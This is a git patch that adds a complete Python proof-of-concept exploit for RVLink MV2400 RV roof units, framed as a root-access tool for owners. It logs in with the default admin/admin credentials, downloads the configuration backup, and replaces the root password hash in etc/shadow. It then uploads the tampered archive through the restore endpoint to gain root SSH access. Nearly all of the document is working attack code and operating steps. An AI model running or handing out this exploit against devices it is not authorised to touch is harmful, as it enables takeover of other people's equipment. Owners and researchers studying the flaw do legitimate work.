From 867342ab360a6ea3902441c38a7cc3edd7fb04ed Mon Sep 17 00:00:00 2001 From: Wesley Ray Date: Thu, 8 May 2025 15:38:49 -0400 Subject: [PATCH] Initial commit of PoC script for automating root account password overwrite on a RVLink roof unit. --- scripts/rvlink_roofunit_root_pw_reset.py | 324 +++++++++++++++++++++++ 1 file changed, 324 insertions(+) create mode 100644 scripts/rvlink_roofunit_root_pw_reset.py diff --git a/scripts/rvlink_roofunit_root_pw_reset.py b/scripts/rvlink_roofunit_root_pw_reset.py new file mode 100644 index 0000000..eb22770 --- /dev/null +++ b/scripts/rvlink_roofunit_root_pw_reset.py @@ -0,0 +1,324 @@ +#!/usr/bin/env python3 + +""" +RVLink MV2400 Root Access Utility (via Config Restore Vulnerability) + +Version: 1.2 +Author: Wesley Ray +Date: 2025-05-08 + +Purpose: +This script exploits a vulnerability in the RVLink MV2400 roof unit firmware +(tested on RV-RV2402-V1.0.1.2 / API reporting RV-RV2400-V2.0.0_LTE_BETA) +which allows overwriting system configuration files, including /etc/shadow, +via the configuration backup/restore mechanism (`system_config_backup` and +`system_load_config` through the /cgi-bin/mbox-config endpoint). + +This allows setting a known root password, enabling SSH access. After running +this script successfully, the target device should reboot. Monitor the device +(e.g., using ping) and then attempt to SSH as root with the new password. + +WARNINGS: +- USE AT YOUR OWN RISK. Modifying firmware can potentially brick your device. +- Ensure you have backups (this script helps create one, but verify MTD dumps manually if possible). +- Understand the implications before running this script. +- This script is for educational and research purposes on devices you own. + Unauthorized access to computer systems is illegal. +- The target device uses legacy SSH crypto - ensure your SSH client is configured + appropriately when connecting manually after the device reboots. + (e.g., ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-rsa -o MACs=+hmac-sha1,hmac-sha1-96 root@TARGET_IP) + +TIPS: +- My device, and likely all of them, did support SCP (Secure Copy Protocol) for + file transfers using the -O option. You also have to specify the legacy crypto options. + (e.g., scp -O -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-rsa -o MACs=+hmac-sha1,hmac-sha1-96 root@192.168.10.254:/tmp/mtd7_firmware.bin ./mtd7_firmware.bin) + +Dependencies: +- requests (`pip install requests`) +- passlib (`pip install passlib`) +""" + +import requests, json, time, sys, os, tarfile, io, random, string, logging +from passlib.hash import md5_crypt # For portable MD5-crypt hashing + +# --- User Configuration --- +TARGET_IP = "192.168.10.254" +NEW_ROOT_PASSWORD = "yourdesiredpassword" # <<< CHANGE THIS TO YOUR DESIRED ROOT PASSWORD +LOGIN_USERNAME = "admin" # Default web UI credentials +LOGIN_PASSWORD = "admin" +NEW_ROOT_HASH_OVERRIDE = None # Optional: Pre-generate hash if passlib fails +# --- End User Configuration --- + +# --- Script Configuration --- +# The following URLs are based on analysis of the webmgnt binary which implements fastCGI +# On affected firmware versions this binary listens for requests on 127.0.0.1:9002 +# NGINX is configured to forward requests to /cgi-bin/ to this port, so the URLs are accessible via the web interface. +LOGIN_URL = f"http://{TARGET_IP}/cgi-bin/login" +BACKUP_URL = f"http://{TARGET_IP}/cgi-bin/mbox-config?method=GET§ion=system_config_backup" +UPLOAD_URL = f"http://{TARGET_IP}/cgi-bin/mbox-config?method=SET§ion=system_load_config" + +SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) +OUTPUT_BACKUP_FILE = os.path.join(SCRIPT_DIR, f"backup_{TARGET_IP}.tgz") +MODIFIED_ARCHIVE_FILE = os.path.join(SCRIPT_DIR, f"modified_payload_{TARGET_IP}.tgz") + +MAX_LOGIN_RETRIES = 3 +RETRY_DELAY_SECONDS = 2 + +# --- Configure Logging --- +logging.basicConfig( + level=logging.INFO, + format='%(asctime)s [%(levelname)-7s] %(message)s', + datefmt='%Y-%m-%d %H:%M:%S', + stream=sys.stdout +) + +# --- Helper Functions --- +def generate_md5_crypt_hash(password_str, salt_str=None): + """Generates an MD5-crypt style hash ($1$salt$hash) using passlib.""" + logging.info(f"Generating MD5-crypt hash for password...") + + if salt_str is None: + salt_chars = string.ascii_letters + string.digits + "./" + salt_str = "".join(random.choice(salt_chars) for _ in range(8)) + logging.info(f"Generated random 8-char salt: {salt_str}") + + if len(salt_str) > 8: + salt_str = salt_str[:8] + logging.warning(f"Provided salt too long, truncated to 8 chars: {salt_str}") + elif len(salt_str) < 1: + logging.error("Salt cannot be empty if provided.") + return None + + try: + hashed_password = md5_crypt.using(salt=salt_str).hash(password_str) + logging.info(f"MD5-crypt hash generated successfully using salt '{salt_str}'.") + return hashed_password + except NameError: + logging.critical("ERROR: 'passlib' library not found. Please install it (`pip install passlib`).") + return None + except Exception as e: + logging.error(f"MD5-crypt hash generation failed: {e}") + logging.error("Ensure 'passlib' library is installed correctly.") + return None + +def initialize_connection(): + """Establishes a requests session.""" + logging.info(f"Initializing connection to target: {TARGET_IP}") + session = requests.Session() + logging.info("Session object created.") + return session + +def authenticate_and_grab_session(session_obj, username, password): + """Authenticates and gets session cookie, retrying on failure/DELETED.""" + logging.info(f"Attempting authentication as '{username}'...") + login_payload = {"username": username, "password": password} + current_session = session_obj + + for attempt in range(MAX_LOGIN_RETRIES): + logging.info(f"Login attempt {attempt + 1}/{MAX_LOGIN_RETRIES}...") + if attempt > 0: + logging.info("Creating new session for retry...") + current_session = requests.Session() + try: + response = current_session.post(LOGIN_URL, json=login_payload, timeout=10) + response.raise_for_status() + logging.info("Analyzing authentication response...") + if response.status_code == 200: + cookies = current_session.cookies.get_dict() + session_id = cookies.get("COMFAST_SESSIONID") + if session_id and session_id != "DELETED": + logging.info("Authentication successful.") + logging.info(f"Session ID acquired: {session_id[:16]}...") + return current_session, session_id + else: + if session_id is None: logging.warning(f"Session ID missing. Retrying ({attempt + 1}/{MAX_LOGIN_RETRIES})...") + else: logging.warning(f"Received 'DELETED' session ID. Retrying ({attempt + 1}/{MAX_LOGIN_RETRIES})...") + if attempt < MAX_LOGIN_RETRIES - 1: time.sleep(RETRY_DELAY_SECONDS); continue + else: logging.error(f"Max login retries ({MAX_LOGIN_RETRIES}) reached. Failed to get valid session."); return None, None + except requests.exceptions.RequestException as e: + logging.error(f"Network error during authentication: {e}") + if attempt < MAX_LOGIN_RETRIES - 1: logging.warning(f"Retrying connection in {RETRY_DELAY_SECONDS}s..."); time.sleep(RETRY_DELAY_SECONDS); continue + else: logging.error("Max connection retries reached. Authentication failed."); return None, None + logging.error("All authentication attempts failed."); return None, None + + +def download_system_backup(session, session_id_for_log_only): + """Downloads the system configuration backup using POST.""" + logging.info(f"Attempting to download configuration backup...") + if not session.cookies.get("COMFAST_SESSIONID"): + logging.error("No active session cookie. Cannot download backup.") + return False + logging.info(f"Using active session ID: {session_id_for_log_only[:16]}...") + logging.info(f"Requesting backup from: {BACKUP_URL}") + try: + response = session.post(BACKUP_URL, stream=True, timeout=30) + response.raise_for_status() + if response.status_code == 200: + content_type = response.headers.get('Content-Type', '') + logging.info(f"Server response Content-Type: {content_type}") + if 'application/x-targz' not in content_type and 'application/octet-stream' not in content_type: + logging.warning("Unexpected Content-Type received, but proceeding with download.") + total_downloaded = 0 + with open(OUTPUT_BACKUP_FILE, 'wb') as f: + logging.info(f"Saving backup to: {OUTPUT_BACKUP_FILE}") + for chunk in response.iter_content(chunk_size=8192): + if chunk: + f.write(chunk) + total_downloaded += len(chunk) + sys.stdout.write(f"\rDownloading... {total_downloaded // 1024} KiB") + sys.stdout.flush() + print() + logging.info(f"Backup download successful ({total_downloaded} bytes).") + return True + except requests.exceptions.RequestException as e: + logging.error(f"Network error during backup download: {e}") + return False + +def modify_shadow_in_archive(original_tar_gz_bytes, new_root_password_hash_str): + """Reads archive, modifies root hash in etc/shadow, returns new archive bytes.""" + logging.info("Modifying archive: Updating root password hash in /etc/shadow...") + old_tar_stream = io.BytesIO(original_tar_gz_bytes) + new_tar_stream = io.BytesIO() + try: + with tarfile.open(fileobj=old_tar_stream, mode="r:gz") as old_tar: + with tarfile.open(fileobj=new_tar_stream, mode="w:gz") as new_tar: + logging.info("Processing archive members...") + found_shadow = False + for member in old_tar.getmembers(): + normalized_member_name = member.name.lstrip('./') + if normalized_member_name == "etc/shadow": + found_shadow = True + logging.info(f"Located '{member.name}'. Reading original content...") + original_shadow_content_bytes = b"" + extracted_shadow_file = old_tar.extractfile(member) + if extracted_shadow_file: original_shadow_content_bytes = extracted_shadow_file.read() + original_shadow_content_str = original_shadow_content_bytes.decode('utf-8', errors='replace') + logging.info("Searching for 'root' user line...") + new_shadow_lines = []; root_line_modified = False + for line in original_shadow_content_str.splitlines(): + parts = line.split(':', 2) + if len(parts) > 1 and parts[0] == "root": + logging.info("Found 'root' line. Replacing hash...") + parts[1] = new_root_password_hash_str + new_line = ":".join(parts) + new_shadow_lines.append(new_line); root_line_modified = True + else: new_shadow_lines.append(line) + if not root_line_modified: + logging.warning("'root' line not found in original shadow file! Appending new root entry.") + new_shadow_lines.append(f"root:{new_root_password_hash_str}:1:::::") + final_shadow_content_str = "\n".join(new_shadow_lines) + if not final_shadow_content_str.endswith('\n') and final_shadow_content_str: final_shadow_content_str += "\n" + new_shadow_bytes = final_shadow_content_str.encode('utf-8') + new_shadow_info = tarfile.TarInfo(name=member.name); new_shadow_info.size = len(new_shadow_bytes) + new_shadow_info.mtime = int(time.time()); new_shadow_info.mode = member.mode if hasattr(member, 'mode') else 0o600 + new_shadow_info.uid = member.uid if hasattr(member, 'uid') else 0; new_shadow_info.gid = member.gid if hasattr(member, 'gid') else 0 + new_shadow_info.type = tarfile.REGTYPE; new_tar.addfile(new_shadow_info, io.BytesIO(new_shadow_bytes)) + logging.info("Added modified '/etc/shadow' to new archive.") + else: # Copy other files/dirs unmodified + if member.issym() or member.islnk() or member.isdir(): new_tar.addfile(member) + elif member.isfile(): + extracted_file = old_tar.extractfile(member) + if extracted_file: new_tar.addfile(member, extracted_file) + if not found_shadow: + logging.warning("'/etc/shadow' not found in original archive! Creating new one.") + final_shadow_content_str = f"root:{new_root_password_hash_str}:1:::::\n" + new_shadow_bytes = final_shadow_content_str.encode('utf-8'); new_shadow_info = tarfile.TarInfo(name="etc/shadow") + new_shadow_info.size = len(new_shadow_bytes); new_shadow_info.mtime = int(time.time()) + new_shadow_info.mode = 0o600; new_shadow_info.uid = 0; new_shadow_info.gid = 0 + new_shadow_info.type = tarfile.REGTYPE; new_tar.addfile(new_shadow_info, io.BytesIO(new_shadow_bytes)) + logging.info("Created new '/etc/shadow' with root entry in new archive.") + logging.info("Finalizing modified archive...") + logging.info("Archive modification successful.") + return new_tar_stream.getvalue() + except tarfile.TarError as e: logging.error(f"ERROR: tarfile operation failed: {e}"); return None + except Exception as e: logging.error(f"ERROR: Unexpected error modifying archive: {e}"); return None + +def upload_payload(session, payload_bytes, upload_filename): + """Uploads the modified configuration archive.""" + logging.info(f"Attempting to upload modified payload '{upload_filename}'...") + if not session.cookies.get("COMFAST_SESSIONID"): logging.error("No active session cookie. Cannot upload."); return False + logging.info(f"Upload target URL: {UPLOAD_URL}"); form_field_name = 'filecontent' + files_dict = {form_field_name: (upload_filename, payload_bytes, 'application/x-targz')} + logging.info(f"Preparing multipart/form-data using field '{form_field_name}'...") + try: + logging.info("Sending payload...") + response = session.post(UPLOAD_URL, files=files_dict, timeout=60); logging.info("Waiting for server response...") + if response.status_code == 200: + try: json_response = response.json(); err_code = json_response.get("errCode", 0); err_msg = json_response.get("errMsg", "") + except json.JSONDecodeError: logging.warning("Server response non-JSON. Assuming upload accepted."); logging.info("Device should process archive and reboot."); return True + if err_code != 0: logging.error(f"Upload rejected by server. Error {err_code}: {err_msg}"); return False + else: logging.info("Upload accepted by server."); logging.info("Device should process archive and reboot..."); return True + else: response.raise_for_status(); return False + except requests.exceptions.RequestException as e: logging.error(f"Network error during upload: {e}"); return False + except Exception as e: logging.error(f"Unexpected error during upload: {e}"); return False + +# --- Main Execution --- +if __name__ == "__main__": + logging.info("==========================================================") + logging.info(" RVLink MV2400 Root Access Utility v1.2 ") + logging.info("==========================================================") + logging.info(" WARNING: Use at your own risk. Ensure backups exist. ") + logging.info("----------------------------------------------------------") + + if NEW_ROOT_PASSWORD == "yourdesiredpassword": + logging.critical("Please edit the script and set the NEW_ROOT_PASSWORD variable!") + sys.exit(1) + + try: import requests, passlib + except ImportError as imp_err: + logging.critical(f"FATAL ERROR: Missing required library: {imp_err}") + logging.critical("Please install dependencies: pip install requests passlib") + sys.exit(1) + + # Start exploitation process + active_session = initialize_connection() + if not active_session: logging.critical("Failed to initialize connection."); sys.exit(1) + + successful_session, comfast_session_id = authenticate_and_grab_session(active_session, LOGIN_USERNAME, LOGIN_PASSWORD) + if not comfast_session_id or not successful_session: logging.critical("Authentication failed."); sys.exit(1) + + active_session = successful_session + + if not download_system_backup(active_session, comfast_session_id): + logging.critical("Failed to download configuration backup. Cannot proceed."); sys.exit(1) + + logging.info("Preparing modified payload...") + try: + with open(OUTPUT_BACKUP_FILE, 'rb') as f_original: + original_backup_bytes = f_original.read() + + new_root_hash = None + if NEW_ROOT_HASH_OVERRIDE: + new_root_hash = NEW_ROOT_HASH_OVERRIDE; logging.info(f"Using pre-configured root hash.") + else: new_root_hash = generate_md5_crypt_hash(NEW_ROOT_PASSWORD, salt_str='RVLnkBug') + + if not new_root_hash: logging.critical("Failed to generate/obtain root hash."); sys.exit(1) + + logging.info(f"Target root hash for /etc/shadow: {new_root_hash}") + + modified_backup_bytes = modify_shadow_in_archive(original_backup_bytes, new_root_hash) + + if not modified_backup_bytes: logging.critical("Failed to modify the archive."); sys.exit(1) + + modified_file_path = os.path.join(SCRIPT_DIR, MODIFIED_ARCHIVE_FILE) + with open(modified_file_path, "wb") as f_modified: + f_modified.write(modified_backup_bytes) + logging.info(f"Modified payload saved locally: '{modified_file_path}'.") + + # --- Initiate Upload --- + if not upload_payload(active_session, modified_backup_bytes, MODIFIED_ARCHIVE_FILE): + logging.error("Payload upload failed. Device state likely unchanged."); sys.exit(1) + + logging.info("Payload upload accepted by device!") + logging.info("The device should now reboot automatically within a few seconds.") + logging.info(">>> Please monitor the device manually (e.g., using ping).") + logging.info(f">>> Once it reboots, attempt SSH login as 'root' with password '{NEW_ROOT_PASSWORD}'.") + logging.info(">>> Remember to use legacy crypto options for your SSH client if needed:") + logging.info(">>> ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-rsa -o MACs=+hmac-sha1,hmac-sha1-96 root@" + TARGET_IP) + + except FileNotFoundError: + logging.critical(f"ERROR: Backup file '{OUTPUT_BACKUP_FILE}' not found after download.") + except Exception as e: + logging.critical(f"UNEXPECTED ERROR during main execution: {e}") + + logging.info("Script finished.") \ No newline at end of file